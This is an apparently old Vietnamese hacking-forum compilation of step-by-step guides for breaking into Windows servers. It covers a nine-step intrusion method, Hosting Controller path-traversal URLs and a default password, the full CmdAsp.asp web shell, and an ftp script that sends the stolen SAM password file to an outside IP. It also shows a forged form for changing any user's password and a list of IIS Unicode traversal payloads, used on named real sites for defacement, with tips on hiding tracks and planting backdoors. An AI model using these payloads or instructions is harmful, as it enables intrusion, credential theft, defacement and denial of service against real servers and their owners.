Các bước Hack Server !

Các bước của hacker khi muốn đột nhập vào một hệ thống máy chủ :

<Bước 1> FootPrinting : Các mục tiêu của bước này chủ yếu là những thông tin ban đầu về server . Công nghệ bạn cần sử dụng là : Open source search (nguồn máy chủ tìm kiếm) Whois , Web interface to whois , Arin Whois , DNS zone transfer (bộ phận này chủ yếu là kiểm tra về người chủ server , DNS .. cấu trúc server chưa thể hiện rõ ở đây) 1 số công cụ : UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix client , http://www.networksolutions.com/whois , http://www.arin.net/whois , dig , nslookup Is -d , Sam spade

<Bước 2> Scanning : Phần lớn các server chịu bung thông tin quan trọng trong bước này , hãy cố gắng tận dụng bước này triệt để để biết các port trên server , nghe đường dữ liệu . Công nghệ bạn cần sử dụng là : Ping Sweep , TCP/UDP port Scan , Os Detection . Các công cụ : fping , icmpenum Ws_ping ProPack , nmap , SuperScan , fscan nmap , queso , siphon .

<Bước 3> Enumeration : Đến bước này , các attacker bắt đầu kiểm soát server sơ bộ , xác định các account trên server , mức độ bảo vệ ... Công nghệ bạn cần sử dụng là : List user accounts , List file share , Identify applications . Các tool phụ trợ : null sessions , DumpACL , sid2user , OnSite Admin showmount , NAT , Legion banner grabbing với telnet , netcat , rpcinfo .

<Bước 4> Gaining access : Aha , đã có đủ dữ liệu để kết hợp tất cả chúng lại . Chúng ta bắt đầu đến gần mục tiêu . Hãy nắm chắc cơ hội . 1 account có thể bị Crack . Công nghệ : Password eavesdropping , File Share brute forcing , Password file grab , buffer overflows . Các tool : tcpdump , L0phtcrack readsmb , NAT , legion , tftp , pwdump2 (NT) ttdb , bind , IIS , .HTR/ISM.DLL

<Bước 5> Escalating privilege : Nếu 1 account không may mắn nào ở một cấp độ nào đó bị crack ở bước trên , chúng ta sẽ có cái tận dụng để điều khiển Server . Công nghệ : Password cracking , BUG ,Exploits . Tools : john , L0phtcrack , Ic_messages , getadmin , sechole .

<Bước 6> Pilfering : Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server . Nếu bước này không thành công , hãy đến bước <9> . Công nghệ : Evaluate trusts , Search for cleartext passwords . Tool : rhost , LSA Secrets user data , configuration files , Registry .

<Bước 7> Covering Tracks : Hệ thộng luôn ghi nhận những hành động của bạn . Nếu bây giờ mà kết thúc , chắc bạn bị tóm ngay . Đây là bước cực kì quan trọng . XÓA LOG . Công nghệ : Clear logs , hide tools . Tools : Zap , Event log GUI , rootkits , file streaming .

<Bước 8> Creating Backdoors : Còn phải hỏi , bạn phải để lại 1 cái cổng sau , lần sau có

vào thì dễ hơn chứ . Nếu không thành công , quay lại bước <4> xem lại các quyền của user bạn sử dụng . Công nghệ : Creat rogue user accounts , schedule batch jobs , infect startup files , plant remote control services , install monitoring mechanisms , replace apps with Trojan . Tools : members of wheel , administrators cron, At rc , Startup folder , registry keys , netcat , remote.exe , VNC , BO2K , keystroke loggers, add acct to secadmin mail aliases login , fpnwclnt.dll

<Bước 9> Denial of Servies : 1 attacker không thành công với những gì anh ta đã làm ... họ sẽ tận dụng những exploits code để làm cho server ngừng hoạt động luôn , gọi đó là : tấn công từ chối dịch vụ . Công nghệ : SYN flood , ICMP techniques , Identical src/dst SYN requests , Overlapping fragment/offset bugs , Out of bounds TCP options (OOB) DDoS . Tools phụ trợ : synk4 , ping of death , smurf land , latierra , teardrop , bonk , newtear , supernuke.exe , trinoo/TFN/stacheldraht

Những tool trên , bạn có thể search ở các máy tìm kiếm như http://www.google.com

---

Hack Server NT qua bug Hosting Controller :

Lỗi HC là lỗi của phần mềm Hosting Controller dùng để quản lý server cung cấp domain và hosting cho khách hàng thường được chạy dưới Win2000/NT. Tôi sẽ Hack qua lỗi HC và sẽ ví dụ với 1 server chưa fix đó là server chứa 38 site mà đã được Hacker Forum Hacked vào tháng trước .
+ Lỗi HC cho bạn thực hiện 1 dòng lệnh để đọc ổ cứng (C; D; E) thậm chí cả ổ A của server qua 1 site hoặc trực tiếp bằng ID của server. Lỗi HC thực chất là bị lỗi của 4 file nằm trong phần mềm là : statsbrowse.asp ; servubrowse.asp ; browsedisk.asp ; browsewebalizerexe.asp ; sqlbrowse.asp
Tôi sẽ viết cấu trúc của lệnh Hack vào server nhờ lỗi 4 file này :
.....
Trong đó HC có thể là : admin ; advadmin; hostingcontroller
Lỗi đầu tiên tôi giới thiệu với các bạn có tên Multiple security vulnerabilities. Đây là các đoạn Script cho phép bạn duyệt bất cứ file nào trên Server :

http://www.victim.com/advwebadmin/stats/st...epath=c:/&Opt=3

http://www.victim.com/advwedadmin/serv_u/s...epath=c:/&Opt=3

http://www.victim.com/advwedadmin/adminset...epath=c:/&Opt=3

http://www.victim.com/advwedadmin/adminset...epath=c:/&Opt=3

http://www.victim.com/advwedadmin/SQLServ/...epath=c:/&Opt=3

Trong đó Victim là Server bị lỗi HC mà bạn muốn Hack

Tôi sẽ ví dụ các Hack server qua 1 site nằm trong server (hay còn gọi là Hack local exploit)
VD : site này đã bị Hacker Forum hack : http://123hollywood.com/hf.htm
ở thanh Address bạn đánh 1 trong các dòng lệnh sau :
http://123hollywood.com/admin/stats/statsb...=c:\&Opt=3

http://123hollywood.com/admin/serv_u/servu...=c:\&Opt=3

http://123hollywood.com/admin/adminsetting...=c:\&Opt=3

http://123hollywood.com/admin/adminsetting...=c:\&Opt=3

http://123hollywood.com/admin/SQLServ/sqlb...=c:\&Opt=3

Lúc nãy bạn sẽ vào được phần "Browser Directories". Đây là toàn bộ cấu trúc của Website đó. Khi các bạn đã vào được bên trong của ổ C:\ bạn thấy có thư mục websites (đối với server đang thử nghiệm này, còn đối với các server khác thì nó thường nằm ở ổ D:/) .
Nếu bạn đã thấy thì OK . Bạn hãy vào trong và thấy 1 loạt các website. Với server chúng ta đang Hack ở trên bạn sẽ thấy các website được đưa vào các thư mục riêng lẻ theo vần. Chúng ta hãy tìm tới website mà nhờ nó chúng ta vào dược server này .
Bạn hãy vào 123web/123kinh/123hollywood.com/www/. Bạn thấy đó cực kỳ đơn giản đúng không .
Sau khi biết được đường dẫn của site cần Hack thì bạn dùng Script sau :
http://www.example.com/advwebadmin/folders...om&OpenPath=C:/
Thay example bằng tên của Server và testing bằng tên trang Web muốn Hack
Ví dụ : Bạn đăng ký Website tên cuonglong của FPT thì tụi FPT sẽ cho bạn một nơi để trang Web : c:\webspace\resadmin\cuonglong\cuonglong.com\www
Muốn Hack trang này thì bạn đánh Script như trên :
http://www.ftp.com/advwebadmin/folders/fil...om&OpenPath=C:/
Vậy là bạn đã vào được cấu trúc thư mục của Web đó nhưng lúc này bạn chỉ quyền upload 1 file nào đó từ ổ cứng của bạn lên site đó thôi
Sau đó bạn upload file ntdaddy.asp Website đó. Và chạy file này trên Website đó để lấy những file *.mdb và *.SAM về, đây là file chứa password, bạn chỉ việc giải mã ra
Vậy là bạn đã Hack được Website đó rồi
Bây giờ tôi sẽ hướng dẫn các bạn cách upload và xoá file trên các site này :
Cái này thì cũng cực kỳ đơn giản, bạn hãy xem mẫu sau :
http://www.eg.com/hc/folders/filemanager.a...om&OpenPath=C:/
trong đó testing là các đường dẫn vào website mà bạn muốn upload ; OK !
Bây giờ thì bạn có thể nghịch thoải mái; Bạn có thể cho toàn bộ site die trong

1 giờ cũng được hi hi ..

Còn 1 vài lỗi nữa của HC, trong đó có lỗi cho phép bạn có khả năng khởi tạo cho mình 1 hosting trong server nhờ dòng lệnh sau :
http://victim.com/admin/autosignup/dsp_newwebadmin.asp
Cũng như trên, Victim là Server bị lỗi HC mà bạn muốn Hack. Ví dụ đó là Website
http://bigguy.ourweb.net/
http://bigguy.ourweb.net/AdvAdmin/autosign...newwebadmin.asp
Mình đã khởi tạo cái này, các bác vô xem : http://www.hackerforum.com/
Lỗi này cho phép cho đăng ký free Domain. Bạn hãy đăng ngay 1 Domain cho mình rồi vào http://www.victim.com/AdvAmin/ để Login với với Account vừa đăng ký. Sau khi Login, bạn click vào mục Directories trên menu rồi vào Domain của bạn. Sau đó, bạn hãy upload trang web của mình lên (nơi upload ở dưới cùng) và nhớ là tên trang web đừng dài, rồi click vào logout (ở bên phải trên cùng). Vậy là ta đã đi được nửa chặng đường
Tiếp theo bạn hãy vào : http://www.victim.com/AdvAdmin/import/imp_...in.com\www
Bạn hãy thay chữ "username" bằng username lúc đầu bạn đăng ký Domain và thay chữ www.yourdomain.com bằng địa chỉ Domain mà bạn đăng ký và enter. Ví dụ tôi đăng ký 1 Domain tên http://www.cuonglong.com/ với username là ncviet ở Website
http://bigguy.ourweb.net/ thì tôi sẽ gõ :
http://bigguy.ourweb.net/AdvAdmin/import/i...onglong.com/www
Đây là phần Import của Website. Nó sẽ hiện ra 4 khung đường dẫn. Bây giờ bạn hãy tìm trang web của mình ở khung thứ nhất bên dưới và click vào nó rồi nhấn nút "import". Bây giờ nó đã copy trang Web của bạn vào khung thứ hai bên dưới. Ok, vậy là bạn đã Hack xong rồi đó. ví dụ bạn upload file cl.htm thì đường dẫn Web của bạn sẽ là :
http://bigguy.ourweb.net/AdvAdmin/cl.htm
Chú ý : http://www.victim.com/ sẽ được thay bằng Website bị lỗi hc. Và có thể trong quá trình hack, server sẽ bắt giữ IP của bạn vì vậy bạn nên ngụy trang cho thật khéo .
Bạn có thể tìm rất nhiều server hiện vẫn còn đang bị lỗi này bằng cách và http://www.google.com/ rồi nhập từ khoá "Hosting Controller" cho nó Search.

Tiếp theo là một lỗi slash dot dot của HC cho phép ta thấy được đường dẫn các ổ đĩa và các thư mục của server và ta có thể lợi dụng nó để add (thêm vào) một đường dẫn DSN để chỉ tới một địa chỉ mới. Để khai thác lỗi này bạn dùng đoạn code sau :

http://www.target.com/admin/dsn/dsnmanager....\..\

Cái thứ hai là chúng ta có thể thay đổi hoàn toàn hay add vào thư mục admin và thi hành những gì chúng ta muốn. Để khai thác lỗi này chỉ cần đưa vào đoạn code sau :

http://www.target.com/admin/import/imp_roo...tpPath=C:\

Bạn có thể nắm quyền điều khiển toàn bộ các file trong thư mục (và có thể là cả C:\) và thay đổi tùy thích..

Và lỗi cuối cùng là default password, nếu admin không xoá hay thay đổi user có tên là AdvWebadmin (user default) thì điều này rất nguy hiểm, bởi vì ta có thể nắm quyền điều

khiển hoàn toàn server (hay 1 phần) thông qua password default cho user này là "advcomm500349", sau đó thì hack chỉ là việc dễ dàng.

Tiện thể mình cũng chỉ thêm cho các bạn cách cài trojan hoặc 1 chương trình DoS (Denial of Service) vào server mà ban đã vào được để phục vụ cho công việc Hack cho mình sau này. Thường thì khi Hack qua lỗi HC bạn rất khó có thể cài thẳng chương trình vào ổ C:/ như lỗi IIS được. Nhưng chúng ta vẫn có thể cài 1 chương trình nhờ chúng ta setup qua site nằm trong server. Bạn hãy Upload 1 con trojan vào 1 site mà chúng ta muốn (Cách Upload như trên đã nói). Sau đây tôi sẽ cài 1 con reaccserver có chức năng khi cài vào 1 server chúng ta có thể điều khiển server bằng máy tính ở nhà mình. Tôi upload file reaccserver.exe lên site http://123hollywood.com/ .
Bây giờ muốn cài đặt trojan này vào trong server bạn hãy đánh dòng sau :
http://123hollywood.com/reaccserver.exe
Bạn tự hỏi làm sao mà nó có thể cài vào được server mà không qua thông báo ở máy chứ. Đúng, thường thì các phần mềm quản lý Hosting sẽ thông báo ở máy chủ nhưng thường thì người quản lý server sẽ bỏ qua chế độ này khi cài đặt HC Khi bạn đánh dòng trên nếu thành công thì ở IE sẽ thông báo "server setup file full". Nếu không thành công nó sẽ báo "Can't not Found". Lúc này bạn hãy đánh lại :
http://123hollywood.com/../../../reaccserver.exe
Đảm bảo sẽ OK
Chú ý : khi setup file đó thì PC của bạn cũng sẽ bị cài đặt chương trình đó. Bạn hãy gỡ nó ra . Vừa rồi mình đã cài đặt trojan reaccserver rồi. Bây giờ bạn hãy dùng phần còn lại của chương trình là file cp.exe. Chúng ta có thể Shutdown hoặc Restart server kia. Thường thì server sẽ mất ít nhất 3 phút để khởi động lài .

Bây giờ mình cũng nói thêm về lỗi 1 số Website ở các server cài đặt HC là thường để các file upload.asp nằm ở trong các thư mục của Website. Vì vậy mặc dù lỗi HC có bị fix thì chúng ta cũng Hack như thường .
Đây là ví dụ : http://www.aten2000.com/aspupload_samples_...rmAndScript.asp Bạn thấy chưa ! Mình có thể upload bất cứ file nào mà mình muốn . Bây giờ mình thử tìm cấu trúc thường c1o của 1 website cài HC nha. Bạn hãy vào đây :
http://www.aten2000.com/cmd.asp để xem toàn bộ server với các lệnh dir C:\ ; dir D:\ ; dir E:\ và đọc file bằng lệnh type C:\..[đườngdẫn].. ----> Chú ý : lệnh này có thể đọc được bất cứ file nào .
Bạn thử tìm trong đó mà xem cũng có nhiều lắm .

À khi các bạn vào được server, bạn nên cài 1 file ASP để đọc ổ cứng cho đỡ. Đây là cấu trúc của file cmd.asp :

```
---------------------------------------------------------------------
<%@ Language=VBScript %>
<%
' --------------------o0o--------------------
' File: CmdAsp.asp
' Author: Maceo <maceo @ dogmile.com>
' Release: 2000-12-01
' OS: Windows 2000, 4.0 NT
```

```
' ----------------------------------------

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

' -- Use a poor mans pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>

" method="POST">
```

NTDaddy có thể download ở đây: ntdaddy download
Ở một số server, không rõ lý do ta phải dùng kết hợp cả cmdasp và ntdaddy mới hiệu quả.
Để khai thác, có 2 nguồn thông tin cực kì quan trọng mà ta cần quan tâm trước tiên, đó là database của HC và file sam._, nơi chứa tất cả các thông tin về các host trên server.
File sam._ thật ra chỉ là bản backup, có thể ko đầy đủ, thường được lưu ở winnt\repair.
Bản sam đầy đủ có ở winnt\system32\config, như bị lock, rất khó lấy. Sau khi lấy được sam._, các bạn dùng l0pht hoặc Lc3 (download ở http://www.l0pht.com/ hoặc rất nhiều trên net) để crack.
Còn database của các host, thường lưu trữ ở thư mục cài đặt HC, vd như c:\program files\advanced communitations\NT web hosting\...., là một file access.
Cách download các file như thế nào!? có vài cách cho bạn, nếu bạn biết được vị trí lưu trữ data các host trên server (vd như dạng d:\users\www\democoun\www, địa chỉ này thực chất khi browse trên browser sẽ là http://www.democoun.com/ chẳng hạn - đây chỉ là vd, các bạn phải tự tìm hiểu folder cụ thể, điều này rất quan trọng), bạn có thể dùng lệnh copy, chép thẳng các file này vào thư mục trên, sau đó download thẳng xuống từ

browser, như www.democoun.com/sam._ .
Cách khác là dùng ftp để send file mình muốn đến 1 địa chỉ ftp mà mình biết, bằng gõ lệnh trong cmdasp.asp hay nddaddy.asp (Cách này tôi được Kha cung cấp thông tin). Tuy nhiên, ta ko thể nhập và chạy từng lệnh tương tác ftp dùng các trình này được, bạn phải tạo 1 file text có chứa danh sách các lệnh và yêu cầu ftp chạy các lệnh đó. Cách tạo 1 filte text, ta sẽ dùng lệnh echo, xem vd sau:
echo OPEN 111.214.156.105 > c:\dl.txt & vol
sau khi nhập vào textbox lệnh của cmdasp và run, lệnh này sẽ tạo một file c:\dl.txt có chứa lệnh "open 111.214.156.105". Gần tương tự với các lệnh khác, vd lệnh sau sẽ thêm 1 dòng vào sau lệnh open trong file dl.txt:
echo USER anonymous anyname@anon.com >> c:\dl.txt & vol
Lưu ý từ câu lệnh thứ 2 trở đi, ta phải dùng ">>" thay vì ">". Các bạn làm tương tự với các lệnh còn lại, sao cho các lệnh trong dl.txt dùng để send ftp 1 file ít nhất phải có các lệnh sau:

OPEN 111.214.156.105
USER USER anonymous anyname@anon.com
binary
send
C:\sam._
sam._
BYE

Các lệnh trên sẽ send file c:\sam._ ở server bạn đang hack đến địa chỉ anon 111.214.156.105.
Như vậy, bạn đã tạo xong 1 script để ftp file cần. Bây giờ dùng lệnh sau để thực thi các lệnh trong dl.txt. Trước tiên, bạn chuyển về thư mục chứa dl.txt, dùng lệnh cd c:\, và nhập lệnh sau vào ô lệnh cmdasp: "ftp -n -s:c:\dl.txt" và Run!
Nếu thành công, tức là browser ko báo lỗi và chỉ hiện các thông tin kết nối ftp...thì file sam._ đã được gửi đến địa chỉ anon trên. Bạn chỉ việc ftp vào đó để download về. Sau đó bạn dùng chương trình L0phtCrack để giải mã file SAM đó

Lưu ý là các file bạn copy và download xong, hãy xóa để tránh bị phát hiện.

Muốn tìm các Website bị lỗi Hosting Controller thì bạn vào http://www.google.com/ rồi gõ : "allinurl:/advadmin" (không có dấu ngoặc kép) nhấn nút Google Search

---

Thưa các bạn, những gì mình phát hiện cũng chẳng phải mới mẻ gì, chẳng qua là tận dụng các lỗi đã biết của HC thôi. Cũng giống như áp dụng lý thuyết vào bài tập thôi! :smg]
Sau khi đăng kí 1 account với đường dẫn:
http://www.victim.com/hc/autosignup/dsp_newwebadmin.asp
Thì các bạn đã có quyền UPLOAD lên server các trojan và backdoor. Nhưng làm sao active nó được? Bạn hãy làm theo các bước sau đây:
1.Tìm địa chỉ IP của máy Server host trang web đó.

2.Gõ đường dẫn tới trojan theo dạng sau (tôi chỉ biết cmdasp.asp và ntddady.asp nên tôi cài nó lên):
http://d/?a-ch?-IP-Server/resadmi....asp.asp
(http://địa-chỉ-IP-Server/restadmin/username-bạn-đã-đăng-kí/www/cmdasp.asp).
Tuỳ theo Server mà tên đường dẫn này có thể hơi khác biệt chút ít. Bạn có thể dùng 1 trong 5 bug cho xem cấu trúc thư mục của Server để biết rõ ràng chính xác. Tương ứng với địa-chỉ-IP-Server là thư mục WWWROOT trong Server.
Tới đây thì có 2 khả năng xảy ra:
* Admin Server cho bạn quyền tạo, xoá, copy các file trên máy tính. Thế thì OK rồi, bạn lấy các file password về và crack nó ra. Hoặc làm gì tuỳ bạn. :smg]
* Bạn chỉ có thể sử dụng các lệnh bình thường như dir, net user, netstat, ...Nhưng không thể xoá và copy các file. Làm sao bây giờ :sad] ? Chúng ta hãy qua bước 3.
(Nhắn Admin hôm rồi mình nói tỉ lệ thành công có thể đạt 60% cũng là vì lý do đó. Nếu gặp Admin nào cẩn thận, nó chống ghi tất cả các ổ cứng thì mình bó tay. Lúc đó chắc phải nhờ đến các bạn thôi.)
3. :shy] Rất may là bạn có thể khai thác bằng cách khác là điều chỉnh tập tin Autoexec.bat bằng lệnh ECHO trên CMDASP.ASP. Bây giờ bạn hãy tìm các backdoor hoặc trojan có thể tự nó cài đặt và ẩn núp trên server WinNT.Nếu bạn chưa có có thể vào TLSECURITY.NET hoặc GOOGLE.COM để Search. Tiếp theo bạn hãy upload nó lên account của bạn. Sau đó tiến hành sửa đổi nội dung của tập tin AUTOEXEC.BAT (trong thư mục C:\ ) bằng cách dùng lệnh ECHO trong cmdasp.asp để thêm vào dòng lệnh - cũng chính là path(đường dẫn) đến tập tin thi hành của Backdoor (hay trojan) mà bạn đã upload lên. Xong!!
:smoking]
Bây giờ thì bạn đã đạt được mục đích đột nhập vào trang web rồi đó, ăn mừng chiến thắng di chứ .
Thành Công Hay Thất Bại còn lại là phụ thuộc vào kĩ năng và kinh nghiệm che giấu tung tích và hack của bạn .
Chúc may mắn nhé!!

Nếu thiếu sót (mình nghĩ nhất định là có) thì các bạn sửa chữa dùm mình nhé, cám ơn nhiều!!
Chúc vui vẻ!!
Bye

Nếu Hosting Controller chưa patch thì không nên dùng cách này bởi tỉ lệ thành công của nó rất thấp,theo tôi chưa chắc đã được 6% chứ không phải 60% nữa.Đây là những điều kiện buộc phải có nếu muốn sử dụng cách trên:
-Thứ nhất : phải tìm được real IP của server:real IP của server là IP trỏ vào wwwroot trong ổ đĩa C (mặc định là như vậy).1 server config rất nhiều IP nhất là server dùng để host,như vậy việc tìm được real IP là rất khó khăn,ngay cả khi đã vào được server đó rồi

thì việc tìm ra real IP cũng là cả 1 vấn đề chứ không nói là lảng vảng ở ngoài server đó.
-Thứ hai : Thư mục web của resadmin (thư mục chứa web được tạo từ quyền của resadmin mà ta đã lợi dụng lỗi HC để tạo account) phải nằm trong wwwroot mà real IP trỏ tới,chẳng hạn thư mục web của resadmin phải nằm tại C:\inetpub\wwwroot\resadmin\viethacker\viethacker.net\www .Trên thực tế thì rất ít trường hợp như vậy bởi các hosting thường hay để web user directory ở 1 chỗ khác hoặc 1 ổ đĩa khác để đảm bảo an toàn.
-Thứ ba : trong trường hợp đã tìm được real IP và thư mục web của resadmin đã đặt trong wwwroot mà real IP trỏ tới thì còn phải cần điều kiện là wwwroot không bị hạn chế quyền đối với web user có nghĩa là web user có thể truy cập vào các file và subforder của wwwroot từ real IP.
-Trong trường hợp hạn hữu đã có đủ 3 điều kiện trên và đã vào được server nhưng chưa lấy được quyền Admin thì cũng khó khai thác bởi bị nhiều restrict (hạn chế từ phía server và nhiều trojan chỉ hiệu quả khi được chạy dưới quyền Admin,còn ở đây chúng ta chỉ vào server với quyền của web user.Hãy tìm cách lấy được quyền Admin khi đang vào server với tư cách là 1 web user.

File /accounts/updateuserdesc.asp không kiểm tra lại logged in user khi submit, do vây bằng việc sửa lại file này chúng ta có thể đổi password của bất kỳ một user nào

Cách làm :
Dành cho các bạn đã tạo được webadmin user, còn ai đã tạo được reseller admin thì sẽ đơn giản hơn (tự nghiên cứu thêm nhé).
Trước tiên bạn lưu file sau thành file updateuserdesc.asp trên ổ cứng của bạn:

updateuserdesc.asp

```
<!--Session Variable Names Reference-->
<!-- #inlcude file="adovbs.inc"-->

<html>
<head>
<title>Update User Information</title>
<META HTTP-EQUIV="Expires" CONTENT="-1">
<META HTTP-EQUIV="Pragma" CONTENT="No-Cache">
<script type="text/javascript"
src="http://www.yourvictim.com/admin/css/jslib.js"></script>
<link rel="stylesheet" type="text/css"
href="http://www.yourvictim.com/admin/css/tbset.css">

<link rel="stylesheet" type="text/css"

href="http://www.yourvictim.com/admin/css/tbset.css">
<script language="JavaScript">
```

```
function CheckEntries(frm)
{
var flag;

Empty = false;

if (frm.PassCheck.checked )
{
if (frm.Pass1.value == "" )
{
alert("The password or confirm password are empty");
frm.Pass1.focus();
return false;
}
}



frm.action="http://www.yourvictim.com/admin/accounts/AccountActions.asp?ActionTyp
e=UpdateUser&User

Name="+frm.UserName;

frm.submit();
}
function GoBack(frm)
{
frm.action="AccountManager.asp";
frm.submit();
}
</script>
</head>

<body>
<form name="newUserForm"

action="http://www.yourvictim.com/admin/acounts/AccountActions.asp?ActionType=U
pdateUser"

method="post" onSubmit="return CheckEntries(newUserForm)">
<center><h2>Update User Account</h3><p></center>

<center>
<table BORDER="0" align="center" CELLSPACING="1" CELLPADDING="1"
width="60%" class="trhead">
<tr>
```

<td>Alter</td>
<td>User Information</td>
</tr>
</table>
<table align="center" class="trbody" width="60%">
<tr>
<td>
User Name:
</td>
<td>
killuser
</td>

<input type="hidden" name="UserName" value="killuser">
</tr>
<tr>
<td>

Full Name:
</td>
<td>

<input name="FullName" align="LEFT" tabindex="2" title="New Full Name"
value="killuser">
</td>
</tr>
<tr>
<td>

Description
:
</td>
<td>

<input name="Description" align="LEFT" tabindex="3" title="Description" value="">
</td>
</tr>

<tr>
<td>

Change Password Also:
</td>
<td>

<input type="checkbox" name="PassCheck"

value="TRUE">

<a

href="javascript:callHelp('http://www.yourvictim.com/admin/acounts/help/reseller/change_password.h

tm')"><img src="..\images\help.gif" border="0" value="Help">

</td>
</tr>

<tr>
<td>

New Password
:
</td>
<td>

<input type="password" name="Pass1" align="LEFT" tabindex="4" title="Password">
</td>
</tr>
<tr>
<td>

Account Disabled:
</td>
<td>

<input type="checkbox" name="AccountDisabled" align="LEFT" tabindex="6"
title="Account

Disabled" >

<a

href="javascript:callHelp('http://www.yourvictim.com/admin/acounts/help/reseller/disable_account.h

tm')"><img src="..\images\help.gif" border="0" value="Help">

```
</td>
</tr>


<tr>
<td>

User Cannot Change password:
</td>
<td>

<input type="checkbox" name="UserChangePassword" align="LEFT" tabindex="7"
title="Change

Password" >
</td>
</tr>
</table>
<input type="hidden" name="ActionType" value="AddUser" title="AddUser">

<table WIDTH="60%" ALIGN="center" CELLSPACING="1" CELLPADDING="1"
class="trhead">
<tr>
<td><input type="button" class=butn name="Update" value="Update User"

align="MIDDLE" tabindex="7" title="Submit" onclick="return
CheckEntries(this.form)"></td>
<td><input type="button" class=butn name="Cancel" value="Back"

align="MIDDLE" tabindex="7" title="Submit" onclick="return
GoBack(this.form)"></td>
</tr>
</table>
</form>
</body>
</html>
```

Chú ý nhớ đổi lại www.yourvictim.com và killuser (username của user mà bạn muốn đổi).

Sau đó vào www.yourvictim.com và login vào bằng webadmin account của bạn. Sửa url address thành c:\your dir\updateuserdesc.asp , trang updateuser của hc sẽ hiện lên với username = killuser, bạn chỉ việc check vào "Change Password Also" và nhập password

mới vào "New password", rồi Submit ==> DONE

Kiểm tra lại bằng cách login vào với user "killuser". Bạn có thể tìm tên các user bằng cách duyệt các thư mục con trong web root của hc, vì tên thư mục chính là tên user.

Chú ý là việc sửa password sẽ bị phát hiện ra ngay khi user thật login vào, do đó không nên lạm dụng.

IIS Server

Chao anh em! Hom nay toi lai tiep tuc gioi thieu voi anh em mot ky thuat hack vao IIS Server nua. Tai lieu nay khong phai cua em, ma em chi di "hoc lom" duoc tren Internet va da thuc hanh roi. Thay hay hay len muon cung anh em trao doi.

Buoc 1:
Anh em can mot file Unicode duoi dang Perl (*.pl) va mot chuong trinh Perl.

Buoc 2:
Sau khi da chuan bi xong. Anh em ra DOS go:
perl unicode.pl
Se thay Host: (go dia chi Website ma anh em muon xac dinh xem co phai la IIS khong)
Port: Go 80.
.....
Cho mot chut neu la IIS no se tim cac Bug tren IIS. Trong file Unicode.pl co chua khoang 20 Bug.
1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13] /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15] /cgi-
bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+

[17]
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]
/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+

Buoc 3:
Anh em mo Browser go dia chi trang Web va copy phan bug ma Unicode phat hien vao.

VD: Toi go
perl unicode.pl
Host: http://www.tnh.com.vn
Port: 80

Sau khi no Scan thi thay cai Host nay co 2 Bug 14 va 18. Toi co the su dung mot trong 2 bug nay. Chang han toi su dung Bug 18.
Toi mo Browser, trong thanh Add toi go:
http://www.tnh.com.vn/_vti_bin/..%c0%af..%...m32/cmd.exe?/c+

Vay la ban da dot nhap duoc vao IIS roi day. Cac ban co the truy cap vao o cung cua IIS nhu la o cung cua minh vay. Cac ban co the tao, xoa, di chuyen, thu muc, file, up, down va run cac file tren Server do...Muon vay cac ban chi can dung cac lenh cua DOS thoi. Dung noi voi toi la cac ban khong biet lenh Dos nha.

VD: De doc o C----Cac ban go dir+c:\----Tuong ung voi dong lenh o Browser.
http://www.tnh.com.vn/_vti_bin/..%c0%af..%.../c+dir+c:\

Tuong tu co cac lenh nhu: md, rd, ren...Cu ngam lai sach DOS la OK het a.

P/S: Thong thuong trang Web thuong o inetpub\wwwroot

Anh em chi can dzo day thay File index.html cua no bang index.html cua minh. Vay la OK! Website do bi hack roi day. Nho dung cac chuong trinh de che dau IP cho an toan nha. Khong la boc lich nhu choi day. Duoi day la mot so Website dung IIS
http://www.psv.com.vn/
http://www.tnh.com.vn/
http://www.mekonggreen.com.vn
http://www.thaiweb.co.th/
http://www.khaitri.com.vn/

Cach xac dinh Bug va cach dot nhap vao o cung cua Server do em da de cap voi anh em o bai viet truoc roi nha. Cu cho la anh em da dot nhap duoc vao o cung cua Site do roi di.

De Down file anh em dung lenh type (xem noi dung file cua DOS). Voi cac file *.html, *.txt thi no se View noi dung cho anh em xem, con voi cac file khong View duoc thi no se hien len cua so yeu cau Save to disk (khong phai Server nao cung lam duoc nhu vay dau, con tuy).
VD: em muon down mot file o www.tnh.com.vn (em thi chi quen thuc tap bang cai nay thoi a). Em go
http://www.tnh.com.vn/_vti_bin/..%c0%af..%...ype+c:\ten file muon Down.

